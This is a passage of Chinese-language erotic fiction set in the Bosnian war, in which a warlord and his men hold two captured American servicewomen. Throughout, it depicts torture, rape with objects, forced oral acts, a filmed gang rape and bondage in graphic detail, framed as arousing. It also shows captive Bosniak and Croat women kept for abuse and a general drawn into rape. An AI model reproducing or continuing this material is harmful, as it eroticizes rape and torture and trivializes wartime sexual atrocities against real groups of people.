  芭芭拉仔细地舔着薇尔科丽下身的每一寸肌肤,舌头触到她的朋友细腻的嫩肉的感觉使她不禁浑身发抖。尽管在芭芭拉幻想过与薇尔科丽做爱,但此时的处境使她有很强的犯罪感。芭芭拉在心里不得不承认她的朋友健壮美丽的身体使自己感到兴奋,她能通过舌头感觉到薇尔科丽的颤抖,她显然不喜欢这样。芭芭拉感到一点吃惊,自己竟然能在薇尔科丽如此痛苦时还能感到兴奋。

  阿坎示意芭芭拉停下来,然后走开了。芭芭拉默不做声地跪在地上,看着眼前薇尔科丽被吊起来的赤裸的身体在不停地流着汗,轻轻颤抖着。一个家伙走上来,伸出手粗鲁地揉搓着薇尔科丽硕大的乳房和迷人的下体,女飞行员的身体在男人放肆的动作下轻轻地晃动着,但薇尔科丽紧闭着嘴唇,只是偶尔轻轻地呻吟着。芭芭拉感到十分的羞愧和恐惧,也不敢和薇尔科丽说话。

  很快阿坎又走了回来,手里拎着一瓶喝掉一半的酒。他命令芭芭拉站起来,出乎芭芭拉预料,他给她打开了手铐。

  “脱光你的衣服!让我们看看你能为我们做什幺,美国婊子!”

  芭芭拉犹豫了一会,只好执行这个屈辱的命令。芭芭拉慢慢地脱掉了衣服,赤身裸体地站在阿坎和他的部下面前。以这种方式裸露自己的身体使芭芭拉感到十分难堪和羞耻,她恨不得立刻有个缝隙钻进去。芭芭拉把手挡在自己茂密的草地上,希望遮挡一下这些家伙贪婪的目光。

  “把你的手放在两边,让我们看清楚些!”

  芭芭拉慢慢地将手拿开,头使劲地低着,脸上一阵阵发烧。

  “你这狗娘养的!别碰她!!”被吊着的薇尔科丽依然尖声骂着。

  “哈,还这幺兇?好,我喜欢你这样!我想你大概比我两年前抓住的那条克族军队的母狗更厉害。她和你一样强壮,整整叫骂了一个星期,她的尖叫声美妙极了。”

  迎着门口射进来的光线,阿坎微笑着看着薇尔科丽雪白的裸体,两个沉甸甸的乳房之间繫着一根鱼线,金髮的女飞行员手脚和脖子都被绳索捆绑着,还在不屈地扭动挣扎着。

  他向谷仓里扫视着,看见废弃的机器上有一些生鏽的电线。阿坎走过去用小刀割了一段,然后削掉一头的绝缘塑胶皮,露出里面的金属线来。

  薇尔科丽看着阿坎的举动,突然明白了他的意图,不禁浑身哆嗦起来。她几乎要开口求饶,但她的骄傲制止了这丢脸的想法。

  阿坎拿着这根新製的鞭子挥舞了几下,感到很满意。他看了看神色紧张的女飞行员,忽然挥起这根‘鞭子’一下下抽在了薇尔科丽赤裸的大腿上!

  立刻,薇尔科丽雪白紧绷的大腿上出现了一道道又细又长的血痕!她紧咬着牙,随着每一下鞭打哆嗦着,两腿抽搐起来。

  阿坎缓慢地顺着女人赤裸的身体向上抽打着,经过平坦的小腹,锐利的电线落在了薇尔科丽裸露的硕大的乳房上!

  薇尔科丽立刻疯狂地晃动着被捆绑的四肢,身体猛烈摇晃起来。她的自尊心不允许她向敌人屈服,但当阿坎的鞭子第一下抽在她细嫩的胸膛上时,她立刻忘记了她的骄傲。

  “啊!!噢!!不、不、求求你!不要!!!”

  阿坎用力对準女飞行员赤裸的胸膛上那两个醒目地红肿起来的乳头,不停地抽打起来!薇尔科丽感觉自己好像被剥皮一样地拷打着,敏感娇嫩的胸部好像有一根烧红的针在扎着,每一下鞭打都几乎使她昏厥,同时发出凄厉的尖叫!

  阿坎仔细地拷打着薇尔科丽丰满巨大的胸脯,直到其中的一个柔软的肉团上已经布满了细细的血痕,又转向另外的一个。

  薇尔科丽已经痛得几乎昏死过去,她眼看着自己骄傲丰满的乳房上遍布可怕的细小鞭痕,这种疼痛令她无法忍受。她本能地尖叫着,使劲摇摆着赤裸的身体,开始哀求起来。

  “啊、啊!!停、停下来!你要我怎幺样都可以!!求求你了、快停下来吧……”

  阿坎好像没有听见女人的惨叫和哀求一样,继续残忍地拷打着女飞行员丰满的胸部,使这个女人不停地尖叫哭泣。

  芭芭拉惊恐地看着薇尔科丽嘶声尖叫着,泪流满面地哀求阿坎住手。看到自己的偶像和朋友受到如此的酷刑,芭芭拉忽然恢复了勇气。

  “放开她,放开她!!你们打我吧!让我来代替她!!”

  阿坎的一个手下抓住芭芭拉,将她按倒在地上。阿坎则继续不停地拷打着哭泣哀号的女飞行员。

  薇尔科丽感到自己的胸部已经开始流血,疼痛使她快要昏迷了。她现在所有反抗的念头都没有了,只想着如何能摆脱这残酷的拷打,甚至已经顾不得在说什幺,骄傲的女飞行员开始不顾羞耻地哀求起来。

  “噢!!啊、啊……请、我求你、让我为你口交、什幺都行!求求你、别再打了……”

  阿坎停了下来,用手摸了摸已经布满伤痕的乳房和大腿,感到了这个女人赤裸的肉体在不停哆嗦着。

  他现在满意了,这个美国女飞行员已经完全屈服了。阿坎将芭芭拉拖到薇尔科丽被捆在农具上的右腿边,把她的手铐在了薇尔科丽的腿上,然后走到一旁拿起酒瓶喝了起来。

  阿坎拿着酒瓶走了回来,对跪伏在薇尔科丽腿边的芭芭拉说道:“舔她的贱穴!母狗!舔她!!”

  芭芭拉把脸贴在薇尔科丽那伤痕累累的大腿上,用舌头舔起女飞行员的肉穴来。她感到自己同伴的身体在不停发抖,于是尽量温柔地舔着,想使受苦的女飞行员平静下来。

  薇尔科丽被刚刚的拷打折磨得几乎失去知觉,但芭芭拉温柔的动作又使她清醒过来。随着芭芭拉温暖的舌头接触到自己敏感的嫩肉,薇尔科丽又意识到自己丢脸的处境。

  “不、哦、芭芭拉,停下来!你不要、哦……”

  芭芭拉抬起头,看到阿坎将手里的酒瓶抵在了薇尔科丽的肉穴上。薇尔科丽结实匀称的小腹剧烈地收缩着,但阿坎手里的瓶颈还是缓慢地穿透了她正尽力抗拒的小穴,捅了进去。

  阿坎笑着,握着酒瓶在金髮女人的肉穴里来回抽插着。薇尔科丽嘴里发出微弱的呻吟,下身不停地扭动着,除了坚硬的瓶颈磨擦着乾燥的肉壁带来的疼痛,她就只感到了巨大的羞辱。

  “求我来操你!臭婊子!!”

  薇尔科丽现在能做的就是竭力克制自己的情绪,因为她感到自己已经濒临崩溃了。薇尔科丽刚刚为了哀求阿坎停止残酷的拷打,已经準备接受任何屈辱或下贱的处置。现在尽管她感到非常羞愧,自己已经堕落到像芭芭拉一样地屈服,可她不敢再反抗而招致更残酷的毒打。

  “请……来、操……我吧……”薇尔科丽低声嗫嚅着,几乎羞耻得哭了出来。此时她想到了死,可是她做不到,只有在巨大的绝望和悲哀中等待着。

  阿坎继续用酒瓶在女飞行员下身的小穴里抽动了几下,然后抽了出来。他拿着手里的酒瓶到光线下看了看。薇尔科丽心里感到一阵恶心,她看到阿坎将那刚刚还插进自己小穴里的酒瓶口放在鼻子下闻着,然后恶狠狠地骂道:“呸!什幺也没有!这母狗还没湿!!”

  阿坎走到薇尔科丽身后,薇尔科丽感到他开始粗暴地捏着自己丰满肥硕的臀部。

  薇尔科丽的心一下揪了起来。在她以前的性生活里,她从来不让人从后面来和自己做爱,薇尔科丽认为肛交是可耻的。可现在薇尔科丽意识到这个家伙要鸡姦自己,她却无法制止这种令人羞耻的行为。薇尔科丽竭力放松自己,可是做不到。

  薇尔科丽感到坚硬的酒瓶颈在有力地挤进她紧紧收缩着的肛门,一阵阵肉体上的抽搐伴随着心理的恐惧袭来,使她反而感觉不到肛门被撑开的疼痛。

  阿坎费力地将酒瓶插进不停轻轻扭动着的女人的屁股,他开始慢慢地用酒瓶鸡姦起这个惊慌的女飞行员来。

  “啊,很紧!你还真他妈的紧!既然你这个贱货阴冷,那我就让你看看我是怎幺操你这个强壮的美国骚货,像一个男人那样!你觉得怎幺样?美国婊子!”

  薇尔科丽一言不发,她感到了一阵阵撕裂的疼痛,这种疼痛是强烈的,但这种羞辱更加强烈。

  阿坎将酒瓶从薇尔科丽的屁眼里抽了出来,然后他拽着跪在薇尔科丽腿边的芭芭拉湿漉漉的黑髮,将她的脸拽到薇尔科丽颤抖着的雪白的大屁股旁,将手里沾着金髮女飞行员肛门里的污秽的酒瓶抵过去。

  “舔乾净!你这个小婊子!”阿坎手里的酒瓶碰着芭芭拉的嘴唇。

  芭芭拉脸上露出难堪的表情,她伸着头,颤抖着将肮髒的瓶颈含进嘴里。瓶颈上那些肮髒的粪便斑点逐渐消失在芭芭拉柔软的舌头上,阿坎狞笑着,忽然将酒瓶猛地推进芭芭拉的嘴里,一直顶到了喉咙。

  芭芭拉一下子感觉眼前一黑,不等做出反应,烈酒已经灌进了喉咙里,立刻她感觉自己的胃里好像烧着了火一样翻腾起来。阿坎大笑着将酒瓶从芭芭拉嘴里抽出来,放进自己嘴里大口喝了一口。

  阿坎用手拍拍剧烈咳嗽着的芭芭拉,指了指她的脸紧贴着的薇尔科丽两个肥厚的肉丘间的那个浑圆的小洞。

  芭芭拉顺从地将脸埋在她的同伴肥嫩的肉丘之间,将自己的舌头伸进那发热翕动着的小肉洞里吮吸起来。芭芭拉移动着身体,感觉到自己面前那赤裸丰满的肉体在不断扭动着,躲避着自己舌头的戳吸。

  “不、不!……芭芭拉、不能这样、不要……停下来!”

  薇尔科丽感到自己受到凌虐的屁股被芭芭拉的脸拱着,一阵阵悸动袭来,她感觉浑身哆嗦,眼前一片模糊。

  芭芭拉好像已经失去了理智,麻木地将脸紧贴在同伴汗津津的屁股上,不停地用舌头舔着抽搐着的小肉洞,直到阿坎揪着她的头髮将她拉开。

  阿坎将自己的肉棒伸进芭芭拉的嘴里,芭芭拉立刻用嘴唇和舌头将它包裹起来,努力地吮吸起来。芭芭拉觉得自己是在为了薇尔科丽而尽量使阿坎的阴茎能润滑一些,她努力地吮吸着,唾液沾满了那又粗壮起来的肉棒,同时顺着芭芭拉的嘴角流了下来。

  薇尔科丽听着背后芭芭拉吮吸着阿坎的阴茎发出的“啾啾”声,不禁感到一阵恶心,她难以相信自己的同伴竟变得如此下贱和不知羞耻,竟然真的和一个婊子一样!

  阿坎将不停吮吸着自己的肉棒的芭芭拉推开,现在他感到经过芭芭拉顺从的侍奉,自己的肉棒变得更加粗大了。

  他已经做好了準备,将粗大的肉棒抵在薇尔科丽翕动着的屁眼上,然后用力挤了进去!

  阿坎发现尽管刚刚已经用酒瓶和芭芭拉的舌头做过準备,可这个女飞行员的肛门仍然十分的抗拒,这个女人几乎浑身都在用力,扭动着肥硕的屁股抵抗着。

  阿坎抓紧薇尔科丽伤痕累累的屁股,用力顶了进去!刚刚将粗大的肉棒插进四分之一,就听见这个美国女人发出一阵痛苦的哀叫。

  “啊、啊!!!……不、不!!!!”

  阿坎停了下来,他要仔细地体会一下这个美国女飞行员处女肛门的紧密和抽搐,还有自己身体下那不停像水流一样平滑扭动着的火热而柔软的屁股。他两手绕到薇尔科丽身前,抓着她两个刚遭到拷打、汗津津、红肿着的大乳房,双手捏着被尼龙线勒着的乳头。

  阿坎双手捏着女飞行员丰满的乳房,身体用力慢慢地将肉棒全部插进了薇尔科丽紧密的屁眼里。

  芭芭拉的脸靠在薇尔科丽的屁股上,手抚摸着她结实丰满的大腿,感到薇尔科丽的双腿在不停颤抖着。芭芭拉眼看着阿坎粗大的肉棒一点点撑开同伴翕动着狭小的肉洞,打开那些重叠的皱摺插了进去。她简直担心这粗大的东西会将薇尔科丽的身体撕裂。

  阿坎逐渐感觉到自己的肉棒被火热的、不停抽搐的嫩肉包裹着,一些湿漉漉的液体流了出来,他知道那是这个女人被撕裂的肛门在流血。他残忍地一边用手拉扯着勒在女飞行员乳头上的尼龙线,一边开始简短而有力地抽插,嘴里还不停地辱骂着被姦污的女人。

  “感觉到我的肉棒在你屁股里了吗?你喜欢吗?……没关係,你会学会喜欢它的!从现在起你什幺也不是,只是一个下贱的娼妓、婊子!”

  薇尔科丽现在感觉到从受虐的乳头和肛门里传来双倍的痛苦,尤其是被阿坎粗大的肉棒姦淫的肛门,一阵阵巨大的压迫感和火烧一样的疼痛在折磨着可怜的女飞行员。薇尔科丽已经完全屈服于这残酷的凌辱中,她开始不顾羞耻地大声哭泣着,不停哀求阿坎停止这种可怕的折磨。

  阿坎根本不理会这个女飞行员的哭泣和哀求,他将身体紧靠在被汗水弄得湿滑且不停挣扎扭动着的肉体上,调整了一下后,开始有力而猛烈地抽插起来!

  “啊、哦!!啊!!!!!……啊,啊,啊!!!!!”随着阿坎粗暴地姦淫,薇尔科丽涕泪横流,尖声哭叫起来。

  女飞行员的悲鸣使阿坎更加用力地戳击起来,他现在注意力完全集中,只关心着自己的肉棒如何有力而深深地插进女人的屁股,那种与挣扎着的女飞行员的肛门里的肉壁的摩擦使他无比兴奋,而薇尔科丽的哭喊和尖叫则成了伴随着他的快乐的最美妙的音乐。

  终于,阿坎在女飞行员的肛门中射了出来,浓稠的精液填满了被撕裂的小肉洞。薇尔科丽感觉到一股火烫的液体喷射进身体,那根粗大的兇器慢慢地抽了出来。

  现在薇尔科丽的意识里只有一片淫秽而可耻的空虚,迟钝地呻吟呜咽着,但她相信最可怕而残酷的凌辱总算结束了。

  阿坎在用芭芭拉的嘴清理着自己被精液、血迹和粪便弄得一塌糊涂的阴茎。芭芭拉闭着眼睛,满脸屈辱地将阿坎肉棒上那些恶心的污秽舔进嘴里。

  在芭芭拉头上,薇尔科丽被绳索捆绑吊着的裸体不停颤抖着,好像经过长途旅行一样沉重地喘息着。如果没有脖子上的绳索吊着,薇尔科丽软绵绵的头就会耷拉到胸前。她已经止住了哀号和哭叫,只是默默地流着眼泪。坚强的女飞行员已经克制住了自己的情绪,她被绳索捆绑站立着的身体上汗水淋漓,仍然半开着的屁眼里流淌出粘稠的白色精液,和鲜血混合在一起,顺着结实细腻的大腿流了下来。

  阿坎将肉棒从芭芭拉嘴里抽出,离开了两个被捆绑在一起的女人。芭芭拉抱着薇尔科丽颤抖着的大腿,小声抽泣着。

  “哦,薇尔科丽。对不起,我……请原谅我!”

  

  波黑噩梦(五)

  芭芭拉向门口看了一眼,立刻意识到她们悲惨的遭遇还要继续!一大群男人已经脱了裤子走进来!

  阿坎奸笑着对惊慌恐惧的芭芭拉说道:“是的!芭芭拉,还有更多的人在等着为你的朋友效劳!她杀了他们的朋友和亲人,所以她必须受到惩罚!对她的惩罚就是他们的快乐!你必须为他们服务!”

  那些男人走到薇尔科丽的身后,现在薇尔科丽已经知道自己将遭到什幺样的命运,她将遭到无休止的轮姦!这种恐怖的想法使女飞行员惊慌绝望起来。

  突然,薇尔科丽感觉到眼前一亮,她看到阿坎的摄影师已经开始在自己面前架设摄像机,準备拍摄自己遭到轮姦--而且是被从屁眼里强暴的场面!

  顿时,一种难以形容的绝望和惊恐袭来。薇尔科丽立刻意识到自己即将遭到的悲惨凌辱将被拍摄下来,被自己的家人和同事看到!这种巨大的羞辱感远远比被轮姦本身更令薇尔科丽害怕!

  “不!……求你!至少不要拍下来!!让我做什幺都可以、求求你们…………快关上它!!!……求求你们……”

  但是没人关心女飞行员的哭叫和哀求。当她已经完全崩溃了,不停地哭泣求饶,哀求他们关上摄像机时,第一个男人已经开始用芭芭拉的嘴来热身了。

  这个家伙将沾满了芭芭拉唾液的肉棒抵在猛烈摇晃挣扎着的薇尔科丽的屁股上,然后抱着女飞行员丰满的裸体有力地插了进去,薇尔科丽肛门里残留的精液使他的阴茎顺利地进入到女人的身体里。

  薇尔科丽尖叫着,那种火辣辣的疼痛再次从身后的小穴里袭来。在她面前,摄像机无情地将女飞行员遭到强姦的一切记录下来,薇尔科丽脖子上的绳索使她无法低下羞耻难当的头,将她脸上所有的绝望和屈辱毫无遗漏地拍了下来。

  薇尔科丽现在感到自己遭到了肉体上和精神上的双重强暴,一个男人在背后强姦着她的屁眼,而面前的摄像机则拍摄下这所有一切!

  芭芭拉已经惊呆了,她看着那男人的肉棒撕裂了薇尔科丽的屁眼,撑开了弹性的皱摺,在同伴的丰满雪白的肉丘之间进出着。她不敢想像薇尔科丽此刻的感觉,这比自己遭到的凌辱要可怕一百倍!

  第一个家伙离开了薇尔科丽的屁股,粘稠的精液再次填满了女飞行员被姦污的肛门。

  现在又轮到芭芭拉的了,那家伙将沾满精液和污秽的肉棒伸进她嘴里,芭芭拉浑身颤抖着舔了起来。

  这个家伙和他的朋友在一边大声地嘲讽辱骂着芭芭拉。芭芭拉完全被羞辱和无助压倒了,以前她从来不敢想像自己会吮吸一根沾满了精液和秽迹的男人的阴茎?!

  另一个家伙替换上来,他甚至不耐烦使用芭芭拉的嘴了,而直接将粗大的肉棒狠狠插进了还没有合拢的流淌着精液的小洞里。他是那幺凶狠地插了进去,好像要戳穿这个女飞行员的身体一样。

  他猛烈地抽插着,姦淫着被捆绑着的女飞行员。他浑浊的呼噜声和薇尔科丽声嘶力竭的惨叫混合在了一起。这次的家伙没有在薇尔科丽的身体里射出来,而是抽插了一阵后抽了出来,对着跪伏在地上的芭芭拉的脸喷射出来。然后他将自己的肉棒塞进满脸流淌着黏乎乎的精液的黑髮姑娘的嘴里。

  紧接着,又一个家伙开始强暴起已经失去反抗能力、只是软弱地摇晃着的女飞行员来。薇尔科丽的肛门已经失去了弹性一般无耻地张开着,违背她意志地迎接着大力插进的肉棒。他凶猛地抽插几下,然后抽出来放进跪在一边的芭芭拉的嘴里,让她充分品嚐到他和他同伴在女飞行员身体里喷射出的液体和她同伴被凌辱的肉洞内的味道,然后接着再狠狠插回薇尔科丽的肉洞中。

  摄像机忠实而全面地记录下了薇尔科丽被残酷轮姦的一幕,它清楚地拍摄下女飞行员充满悲哀和羞辱的表情,嘴里发出的呻吟和惨叫。被扒光衣服、赤裸裸地捆绑起来的女飞行员被背后的男人无休止地轮姦,健康丰满的裸体痛苦地扭动挣扎着,构成了无比淫秽暴力的画面。

  摄像机前的赤裸的薇尔科丽那细腻紧绷的肌肤上布满了汗水,她的头被绳索吊着无法转动,只有面对着残酷的摄像机,使摄像机毫无遗漏地记录下骄傲的女飞行员脸上流下的耻辱的眼泪,和她被男人从肛门强暴的所有细节。

  薇尔科丽的挣扎越来越弱,她的肛门和直肠已经失去了知觉,没有了那种火烧一样的疼痛。她感到自己后面的肉穴里已经滑腻不堪,随着敌人的抽插发出令人羞耻的“噗叽”声。

  终于开始有不耐烦的家伙走到了女飞行员的面前,和鸡姦着这个女人的同伴前后夹击,开始粗暴地姦淫薇尔科丽,用硬邦邦的肉棒刺穿她还根本乾燥着的肉穴。

  薇尔科丽现在完全成了被夹在两个无耻地笑着的家伙之间的一块肉,两根粗大的东西同时插进她前后两个小肉穴里做着活塞运动!薇尔科丽感觉到两根肉棒好像在自己身体里展开决斗一样,重重地穿透自己的肉洞后撞击在一起,那种剧烈的疼痛使她连哭叫的力气都失去了,几乎就要昏死了过去。

  当所有的男人都在被捆绑着的女飞行员身上发洩完时,薇尔科丽已经半昏迷了,健康美丽的肉体被摧残得惨不忍睹。薇尔科丽原本紧凑浑圆的菊洞已经变成了溢满了男人的精液的骯髒的阴沟,不断流出的白色的液体在她丰满结实的大腿上形成了一片直到膝盖的污迹;她前面的小穴同样被糟蹋得一片狼籍,红肿外翻的肉穴里不停淌出白浊的液体。芭芭拉还能数清楚一共是十四个家伙轮姦了薇尔科丽,残酷地使用了她的小穴和肛门。

  在阿坎的指挥下,一个家伙揪着芭芭拉的头髮,强迫她一点一点地舔着薇尔科丽被精液糊满了的大腿。芭芭拉想像不到比这更屈辱的事情了,自己竟然被迫要舔净那几乎在薇尔科丽肥厚的屁股上覆盖满了的肮髒粘稠的液体!

  那些混合着汗水和薇尔科丽身体里的排洩物的白色浊液发出一种刺鼻的气味,芭芭拉几乎要呕吐起来。可她却不得不将这些东西都吃进嘴里,芭芭拉感到自己几乎要窒息了,自己的胃里也沉淀满了这些恶心的东西。

  芭芭拉艰难地舔着薇尔科丽的大腿,接着又开始舔遭到轮姦的女飞行员那流满了精液的肉洞。从外面芭芭拉就能看到自己同伴遭到残酷姦淫的肉穴好像失去弹性一样张开着,里面充血的肉壁之间不停像小溪一样流淌出白浊的液体。

  芭芭拉的脸埋在薇尔科丽湿淋淋的两腿之间,舌头伸进她的小穴里吮吸着,心里默默地哭泣起来。

  “对不起,薇尔科丽!对不起!”

  ※※※※※

  两个赤身裸体的女人被捆绑着吊在黑暗中。

  薇尔科丽能感觉到芭芭拉就被吊在自己旁边,但她眼睛上被蒙着的眼罩使她无法知道她的朋友现在的处境,她只能专注于自己的痛苦。

  两个女人现在被头朝下吊在阿坎的总部所在的旅馆的地下室里。她俩的双臂被反绑在背后,小臂叠在一起,双臂被用绳索绕过身体紧紧地捆绑着,毫无活动余地。女飞行员赤裸的上身被粗糙的绳索一道道捆绑起来,绳子绕过两个丰满的乳房交叉着残酷地勒进了柔软细腻的肌肤里。

  薇尔科丽和芭芭拉的双腿被朝两侧使劲拉开,笔直结实的腿上也同样被用绳子捆着,另一端吊在房樑上。同时捆绑着她俩双臂和胸部的绳索另一端也被栓在了房樑上,使她俩的身体几乎被倒吊在空中。

  女飞行员全身的重量都落在了捆绑着双腿和上身的绳索上,粗糙的绳子深深地了勒进了她俩丰满的身体里,像一种酷刑一样折磨着她们。

  薇尔科丽已经不知道自己被这幺吊了多久,她结实的双腿已经失去了知觉,被绳索紧紧勒着的胸部也疼痛得几乎难以呼吸,甚至连脖子也疼痛起来。她的嘴里被粗糙的麻绳勒着,绕过头后捆在自己的双臂上,使她的头一直难受地向后昂着。

  薇尔科丽能听见旁边不时传来芭芭拉微弱的呻吟和沉重的呼吸,可以想像黑髮的姑娘正遭受同样的折磨。偶尔,这里会出现男人皮靴走在地上的声音。这种声音给两个陷入悲惨的地狱里的女人带来新的恐惧,薇尔科丽或芭芭拉中的一个随后就将遭到可怕的姦淫。

  现在又出现了这种皮靴的声音,两个被俘的女人立刻又惊慌恐惧起来。

  芭芭拉随后听见了自己朋友痛苦的呻吟,和男人的阴茎插进女人遭到过度姦淫的肉穴发出的可怕声音,已及那种野兽一样的喘息声。

  薇尔科丽的身体随着男人的动作在半空摇摆,她感到那家伙将三、四根手指插进了自己的阴部,那里因为无数次的姦污,已经被那家伙的同伴们的精液弄得又湿又粘。

  手指在自己肉穴里放肆四转动着,这种痛苦和双腿和胸部传来的疼痛不同,使薇尔科丽感到了更大的恐惧和耻辱,她担心自己在这种凌辱下迟早会发疯。

  那家伙用自己粗大的肉棒换下了手指,绝望的羞辱感完全打垮了薇尔科丽,她徒劳地挣扎着失去自由的身体。虽然自己的小穴里已经沾满了滑腻腻的液体,但男人的肉棒有力地磨擦,还是使薇尔科丽感到火辣辣的疼痛,她觉得那家伙似乎已经刺穿了自己的肉壁而直接撞击着自己的身体。

  那个家伙一边在薇尔科丽的身体里抽插着,一边拉扯着捆绑着她的绳索,使她感到加倍的痛苦。他残忍地姦淫折磨着被俘的女飞行员,可能几分钟,也可能几小时。

  当薇尔科丽感到那家伙将一股热乎乎的液体喷射进自己身体,留下一种肮髒的羞耻感时,她已经只剩下哭泣的力气了。

  芭芭拉听见皮靴的声音逐渐远去,地狱一般的地下室里只剩下薇尔科丽虚弱的哭泣和呻吟。她意识到一直被自己当作偶像一般看待的,强壮骄傲的薇尔科丽已经彻底被敌人的残暴和虐待摧毁了。芭芭拉使劲摇晃着自己同样被倒吊着的身体,试图碰到薇尔科丽,来安慰一下绝望崩溃的同伴。

  芭芭拉忽然觉得自己坚强了起来,也许是因为薇尔科丽受到可怕的凌虐的缘故。

  ※※※※※

  在旅馆的二楼,阿坎正通过CNN看着有关自己的女俘虏的消息,他不时地为自己绝妙的主意而哈哈大笑。把这两个美国女人藏在这里,藏在那些专门供自己的部下奴役姦淫的、被抓获的穆族和克族女人中间,这绝对是个聪明的想法,没人会发现这些本来就是被用来凌辱的女人里有什幺特殊的情况出现。

  而将那盘偷偷拍摄下的,关于芭芭拉被穆族志愿者轮姦的录像带匿名提供给德国的电视台更是个天才的想法!现在——三天后,整个西方还都愚蠢地以为两个被俘虏的女飞行员是在穆族武装的手里。

  阿坎得意地看着电视里播放着的经过精心剪辑处理的录像带。画面上出现了芭芭拉尖叫哭泣着的脸,旁边的播音员假装虔诚地表达着对两个美国女人遭遇的可怕命运的担忧。

  接着电视上出现了芭芭拉双腿被捆绑着躺在地上,那个留着鬍子的家伙站在她两腿之间姦淫着她的画面。尽管录像带经过了精心制作,芭芭拉赤裸的胸部和下身都已经模糊一片,但整个镜头还是显得十分淫秽,芭芭拉的脸上那惊恐绝望的表情十分清晰。

  阿坎看着电视,开始觉得下身又涨了起来。他心里暗暗想着,看来自己又要去一趟地下室了。

  画面切换过来,出现了薇尔科丽英气俊美的脸。电视上播放着半个月以前,薇尔科丽在军舰上谈论着自己如何作为战斗机飞行员和男人一起作战的录像。阿坎的注意力立刻被吸引过去,电视上的薇尔科丽穿着紧身的迷你短裙和精巧的运动夹克,他不由自主地放大了音量。

  ※※※※※

  总统坐在椅子上,聚精会神地倾听着民意测验专家的谈话。

  “是的,总统先生,公众有时就是这幺矛盾。他们期待妇女能够在军事领域佔有一席之地,但他们不希望看到女人被伤害、强姦甚至杀死。这就是为什幺那女飞行员遭到强姦的录像带播出后,造成如此混乱的原因。他们期待着您做点什幺!”

  “好吧,我这就命令发射巡航导弹进行攻击、然后召开记者招待会,宣布我们胜利了。这些都没问题,但、然后就会一切正常了吗?”

  “很好,阁下!可是我认为您最好能把那两个女人尽快救回来,这样您的支持率将提高12到15个点。但必须尽快,因为民众的态度是难以把握的。如果您不能成功,而又造成了新的意外,那幺您的支持率将下降8到10个点。”

  ※※※※※

  阿坎很高兴看到米洛塞迪奇将军只迟到了十五分钟,在将军这样的地位,这就已经很难得了。但阿坎一直认为将军这幺快就到来不是为了自己,而是为了那些自己手里的婊子。

  米洛塞迪奇将军做为波黑塞族军队的高级将领参加了几乎全部的与穆族或克族的战争,他也遭受过美国飞机的攻击。尽管将军目前宣布退役--那当然是假的,但他依然掌握着很多波黑塞族军队。阿坎知道,将军和他的赞助者--贝尔格莱德不是朋友,但也不是敌人,所以他可以放心地脚踏两条船。

  阿坎有钱,而将军手里有那些重型武器。他一直试图从将军手里弄些大家伙来,这样他就可以继续将战争打下去,知道美国人坚持不住而撤退,战争是阿坎的财富、女人、地位的来源。

  但米洛塞迪奇将军显然不会轻易将重型武器卖给阿坎,所以他决定利用那两个美国婊子来勾引将军,而他的摄影师将拍摄下一些东西--足够令将军让步的录像带。而且这些录像带将使将军有一天不得不与阿坎一起来分担那可怕的战争罪名--尽管阿坎不希望有这幺一天。

  现在阿坎正和将军喝着酒,他有意提醒将军是否想到他旅馆的地下室去看一些“有趣”的东西?

  将军同意了,他希望这是一个前奏、去玩弄那些被阿坎俘虏并驯服的、关在这个充满强姦和刺激的妓院里的女人的开始。将军已经这幺玩过几次,而且他惊讶地发现自己已经喜欢上了对那些无助的女人施暴的刺激。他以前从来不这幺对待妇女,所以将军对此几乎一无所知--在认识阿坎之前,但他现在急切地想要再体验一次那种难以描述的刺激。

  将军离开他的保镖和阿坎一起走下了楼梯,当他一走进地下室,第一眼看见薇尔科丽和芭芭拉时,立刻惊呆了。他面前两个女人构成的景像,是他见过的最性感刺激的画面!

  离将军比较近的是那个高个的金髮女人,她健壮的裸体被她自己的汗水弄得闪闪发光。女人硕大沉重的的乳房被绳子勒得成了紫红色,垂在胸前伴随着沉重的喘息颤动着,从红肿的乳头上不断滴落着大滴的汗珠;她丰满性感的肉体在绳索捆绑下扭曲着,肌肉痉挛地抽搐着,与捆绑住四肢的绳索搏斗着。

  将军看到这个女人的头想前昂着,绳索勒进她的嘴里,栓在她背后被反绑的双臂上。口水从她的嘴角流出,顺着粗糙的绳索和她的下巴流下来。从这个女人的脸上将军看出了极大的痛苦,就像分娩中的妇女承受的那样,汗水已经弄湿了她的头髮,凌乱地贴在她充满痛苦的脸上。

  将军走近这个女人,她的下身完全赤裸着,能够看到她那已经红肿外翻的肉穴。这个女人身上最隐秘的部位如今已经完全被那些白色的黏液糊满了,一片白浊的糟粕覆盖在了外翻的肉唇和红肿的阴蒂表面。

  将军又走到另外一个女人旁边,这是个身材娇小的黑髮女人,她苗条的身体被以同样残酷的方式捆绑着,赤裸的身体表面好像涂了油一样沾满了汗水。她的黑髮湿漉漉地披散着,露出了娇美的面庞,从眼罩下正流淌着两行泪水。

  “太美了!”将军心里赞叹着。

  他把手放在这个黑髮姑娘赤裸的沾满精液的阴部抚摸着,这个女人的身体立刻像触电一样剧烈哆嗦起来。她经过修剪的阴部凌乱地沾满了黏乎乎的液体,将军顺着她细腻丰满的大腿摸着,一直摸到膝盖,然后又转向她浑圆高耸的屁股。

  将军的手继续在这个姑娘汗津津的身体上摸着,顺着平坦的小腹摸到了两个软绵绵地坠下来的肉团。他微微感到诧异,这个女人匀称的乳房上的两个乳头竟然拉长得那幺不相称,将军当然想不到这是鱼线长时间虐待的结果。

  意识到阿坎正站在自己背后,将军回头问道:“她们被这幺吊了多久了?”

  “我想大概一、两个小时吧,但也许对她俩来说是太久了些。我在教她们学会服从命令,这里的女人应该像军队里的士兵一样服从。您想要哪一个?金髮的还是黑髮的?”

  将军迟疑了一会,他潜意识里觉得好像这里面有些问题。但是那两个女人看起来是那幺悲惨无助,将军感到自己已经抑制不住地兴奋了起来。

  “这有什幺关係呢?”将军心里安慰着自己:“战争里被敌人抓住的女人都要遭到这样的命运,这是和哪个民族无关的。”

  “我选那个金髮的女人,她很美丽,就像美国电视节目中的女人。对了,阿坎,她很像‘美国斗士’中的那个高大坚强的金髮娘们。”

  “是的,就像美国电视剧里的女人一样。我把绳子降低一些,这样您就可以干这个娘们的屁眼了,这样也许乾净一些,您说呢?”阿坎用手指着芭芭拉糊满了精液的阴部说着。

  

  

  

  

  

  

  波黑噩梦(六)

  总统摆摆手示意参加会议的将军们和舰队司令安静下来。

